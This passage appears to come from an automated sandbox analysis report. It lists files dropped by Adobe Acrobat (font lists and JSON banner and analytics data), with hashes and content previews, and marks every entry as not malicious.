SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7932

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.37573121710865
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPc7gNslCYk2UXjb24kF0YlS8DoAvJM3g98kUwPeUkwRe9:YvXKX+gNsIz2UTbdksGMbLUkee9
MD5:	2CE0AD0AB369CF907C554E4F5B10CD0B
SHA1:	4B262CF6F5938DC2FA5DEAC9C0D83DF049603972
SHA-256:	DE959F7A2066B3DCFA137432233C00AC25481DCEDAF18B218FC2712113A44A66
SHA-512:	5AE6EE41B766C395BCCAE9C6380638A46D001A38CC0C71A24A8F2BD0053F1E658EDDA5A7289943890C80517C525B8444FB6803463DE4AFE18B6B7A1ABADF3C09
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"89ff616a-7b92-4812-9ad5-0bc086f4facd","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736754073340,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.312749743401395
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPc7gNslCYk2UXjb24kF0YlS8DoAvJfBoTfXpnrPeUkwRe9:YvXKX+gNsIz2UTbdksGWTfXcUkee9
MD5:	521FEE57E290F5229348B9CC70BD0715
SHA1:	BC362C848FA198DFF711ECDF4C3C3DC70F37387A
SHA-256:	55D90E3D2D84D75F17848EDBCB7AEAE283AF02BC7158093AE53CAF1903AABC48
SHA-512:	458E5F59D305F602BCC3195E6A8FBA8A419B42865802B78867C583C82CBEB8A2E2C8C382EE6569105210482D8923F172C8E94B1E978C7206815CE862A48F1CA3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"89ff616a-7b92-4812-9ad5-0bc086f4facd","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736754073340,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.2907023434007545
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPc7gNslCYk2UXjb24kF0YlS8DoAvJfBD2G6UpnrPeUkwRe9:YvXKX+gNsIz2UTbdksGR22cUkee9
MD5:	5E517E56E52D0E5CC48D964A099E46F1
SHA1:	88C5B71D13FC4C2BA4875042ADFD401564DA93BC
SHA-256:	5EAE82471DAA2B862D16639556461FF49F21734F17A352A5117B9038F7BE69A6
SHA-512:	1DF38FE575E08C4E9539BB8BBCA2A6BF5CA3B7BD3C9C5D6D66D0642EBE0436B2389277AD51382D53B6E0C82F43C99590D0B761731478A84004C23A301419A7E8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"89ff616a-7b92-4812-9ad5-0bc086f4facd","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736754073340,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.350443885972729
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPc7gNslCYk2UXjb24kF0YlS8DoAvJfPmwrPeUkwRe9:YvXKX+gNsIz2UTbdksGH56Ukee9
MD5:	5D1D30721316ECEEB0906917A587E6CA
SHA1:	5B5E61DDEB079A1ABD35F1786A93C3ECE9A901C2
SHA-256:	FEED1330A9F43A109D70B472011D931C64C82472D742E7FA83A4DF196B01112E
SHA-512:	2286E2A8DB33ADFCA67920C2F1357053568489B6F751FED5125937CF465FE32E69D3490055C706519F36E2CF50B5E376B97B96FBDBB91C2AF160110615420151
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"89ff616a-7b92-4812-9ad5-0bc086f4facd","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736754073340,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.686826745851122
Encrypted:	false
SSDEEP:	24:Yv6XQIKUXGpLgE9cQx8LennAvzBvkn0RCmK8czOCCSGn:YvV/wGhgy6SAFv5Ah8cv/G
MD5:	1F8AB0B12CEFF2A5C4B64AE0F12DD652
SHA1:	668CD0A93B127EDE9464A238E203D23DF2946F82
SHA-256:	816777840F86143D2C8EF3BC23C3E4A0B94DBE15068E6A76224FBAEFD3F62DBE
SHA-512:	0AC19E2582EF49C8FDD1277CE7B9D3D8FD77B76F8C2577A1E11C567268E603DF591047E90B40EC6F09D23D2F36064014BD35DDDD0D84AECD7244CC608458D7A7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"89ff616a-7b92-4812-9ad5-0bc086f4facd","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736754073340,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.291206724274292
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPc7gNslCYk2UXjb24kF0YlS8DoAvJf8dPeUkwRe9:YvXKX+gNsIz2UTbdksGU8Ukee9
MD5:	069D196EC800C0ABE2D824178AE73A49
SHA1:	2AAFC2888C668D64C95DBA4824CAB3E39C791B89
SHA-256:	956119C5087EEE6A76B985EAAFCBA6585AB8D470224EC998006475D50E706D50
SHA-512:	DA21C261ECB8A81D3F01C508539D327967D149093142BE01265CB5C4CCAED0CEA87B6282FAF1AD5C6B0C5058BC99E0C6DCF28C7E767D3E8D69FBDC659EDFFC4E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"89ff616a-7b92-4812-9ad5-0bc086f4facd","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736754073340,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.294839914463218
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPc7gNslCYk2UXjb24kF0YlS8DoAvJfQ1rPeUkwRe9:YvXKX+gNsIz2UTbdksGY16Ukee9
MD5:	9B58C73834961E50B573E8F9BBD24CA3
SHA1:	BCF90E9D69C34C5948E352B29B8B3EC09D5229DE
SHA-256:	CC002D15CEC2FB8DB859FCB18D68EA974FED252E7B7671EC549943433DAADF68
SHA-512:	3F6E3063E01D0ECED89BB90D66CDD0DC4E3F941F8EE689F91DEA26107083615EAFCFBB2668C24357A655802A3E8779EF40C2DE190E15EB008E86E0718A167B0A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"89ff616a-7b92-4812-9ad5-0bc086f4facd","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736754073340,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.303747514108684
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPc7gNslCYk2UXjb24kF0YlS8DoAvJfFldPeUkwRe9:YvXKX+gNsIz2UTbdksGz8Ukee9
MD5:	D2D60CE1545EBB0B72E595A9B749D022
SHA1:	A4287A0C1FB5F13B239A84AB09622A3F58E64956
SHA-256:	BC7CE9308538ADF61614321CAC29EFD68DAEABB136DBBAA1D73FD51EBFF9C434
SHA-512:	1E18A9E0D1EBEA006BC5ED9427C430EE99F544DCACBF0155D11D4D3D11F90FD5E5A2CB0A4F894F94CD40C3549A5F823B8C2B87911C9EF7D5BB08BE552D28B89E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"89ff616a-7b92-4812-9ad5-0bc086f4facd","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736754073340,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.317839489061666
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPc7gNslCYk2UXjb24kF0YlS8DoAvJfzdPeUkwRe9:YvXKX+gNsIz2UTbdksGb8Ukee9
MD5:	A613A4BE508D9D1604F7994E7AF90962
SHA1:	157D22FC21404F54D7D6643A3BC03DB555E15657
SHA-256:	164DFEB058D4B9EDD219AF224E9A7A000DC2D36FED018C33F6B6BE0AF1F4BAF9
SHA-512:	A8C2FC5FBD1243C4E91762F8961DEAE9415B7CF2E06A471702FF3AF336CB74C9FA2E680F5A5651E85905C71A8A0DDE6116636796AF14671A935B485A7F697947
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"89ff616a-7b92-4812-9ad5-0bc086f4facd","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736754073340,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2987290664845546
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPc7gNslCYk2UXjb24kF0YlS8DoAvJfYdPeUkwRe9:YvXKX+gNsIz2UTbdksGg8Ukee9
MD5:	1528FF7AE18D8973F1018D544A024EE2
SHA1:	283FDE2CD0D34FA5175F4417DE360126D68C4BC0
SHA-256:	9BB174BA01A1D7D094A74CE453FDA17B030AAC0DE299B84706EE36CB55CAFF47
SHA-512:	FED40406D8AA9EEAD8F45784ECF7724F368F730F31F0B8070DA970E4461B9CB90610FE370D4752B6C2208E938FAA4B20B0474CA04BC316A27F9E068F942D5AA8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"89ff616a-7b92-4812-9ad5-0bc086f4facd","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736754073340,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.284439362184327
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPc7gNslCYk2UXjb24kF0YlS8DoAvJf+dPeUkwRe9:YvXKX+gNsIz2UTbdksG28Ukee9
MD5:	8B9609A6A9E63BECD0B6B354C8640320
SHA1:	95025A68AFBEF59C59911D1CF4C6DEB70D3F2FFC
SHA-256:	9C9B2B68560730CAF24C141E18C654E2DBB8F69976086CCC330C849FE831D5A9
SHA-512:	7975224D0E6D1572E7262E60A6C41E51E71A7009CF41A885138D403B9D9B2695F452B422E64ADD9EDEFEF596C5638B420C92DCB9CD6F67E20B574817650DE2A2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"89ff616a-7b92-4812-9ad5-0bc086f4facd","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736754073340,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.282284899096669
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPc7gNslCYk2UXjb24kF0YlS8DoAvJfbPtdPeUkwRe9:YvXKX+gNsIz2UTbdksGDV8Ukee9
MD5:	3B01B453685DD168308BD1D3CDA4915E
SHA1:	E8323DA614A223FF55D172FFE00546A306DF8592
SHA-256:	2BE62AC9682990D3A39E481AEF2EBB5D52940A041FADDC54D56F8C5FB01F1E47
SHA-512:	708F6E14F17C751C728AEFFCABE29994A91A6B226E16A59F46333C274371872FB806C0EF878281B8B868A7FD6096891496E7E232ECDEF361D89F758629C8C090
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"89ff616a-7b92-4812-9ad5-0bc086f4facd","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736754073340,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.285944493379378
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPc7gNslCYk2UXjb24kF0YlS8DoAvJf21rPeUkwRe9:YvXKX+gNsIz2UTbdksG+16Ukee9
MD5:	A097C5AF5314E0DB668BFF988B78F9B1
SHA1:	380AD97C3794A6537969E26FB74755E36F409007
SHA-256:	E6E626B15D14A58352D0523004745D0859568995EFC388DFA0BEA1A3D6C7CB7C
SHA-512:	EABB87F2E61BF965DEFB85C1F85F38512D090A399F5E8769CA430E41437FCBD2636B57AB3E1B8FFFF0FC56698F26D72D0C9AB478157D37AFC51AB1A762674193
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"89ff616a-7b92-4812-9ad5-0bc086f4facd","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736754073340,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.6613005455495475
Encrypted:	false
SSDEEP:	24:Yv6XQIKUXaamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSGn:YvV/wUBgkDMUJUAh8cvMG
MD5:	07C0A2BF249F4A0D481E4CBF2AAD7CCA
SHA1:	4011A57B626E8F03DD8EA9B1EB1ADDB759C9F5B4
SHA-256:	9ADB12D76C23EA3A9CDD2333F0C903CF10924A1C4E4E3C810482BBF52D05E5EA
SHA-512:	BCA7DD2D0BC5826EF1F323A613718E5013FE739BBA4E9DF2BF913BE6F10703016DEFB5C5E119969D47D8305E56FE3978AAB308F63079AFCD798786A4408FEE31
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"89ff616a-7b92-4812-9ad5-0bc086f4facd","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736754073340,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.26066867803398
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPc7gNslCYk2UXjb24kF0YlS8DoAvJfshHHrPeUkwRe9:YvXKX+gNsIz2UTbdksGUUUkee9
MD5:	F3249CEA67DA5631442515197BD1C10A
SHA1:	D3C9CAD3B94958BF635303076A47FF4C51446472
SHA-256:	39441F2312EA6CCC907D9170D0188F4475776B0403A36F4D9B75C5AC34B27C81
SHA-512:	DF71579FE6290390D2B90C2A036B2325E4C661A8B577C18BC7D0093F87DDA2F9AD67449C11C37873906E633C110339954A12CC35FA1B2AC5B821257FEBA392C2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"89ff616a-7b92-4812-9ad5-0bc086f4facd","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736754073340,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.268723325137361
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPc7gNslCYk2UXjb24kF0YlS8DoAvJTqgFCrPeUkwRe9:YvXKX+gNsIz2UTbdksGTq16Ukee9
MD5:	859F5F8A628405BEFFF89E415E898D70
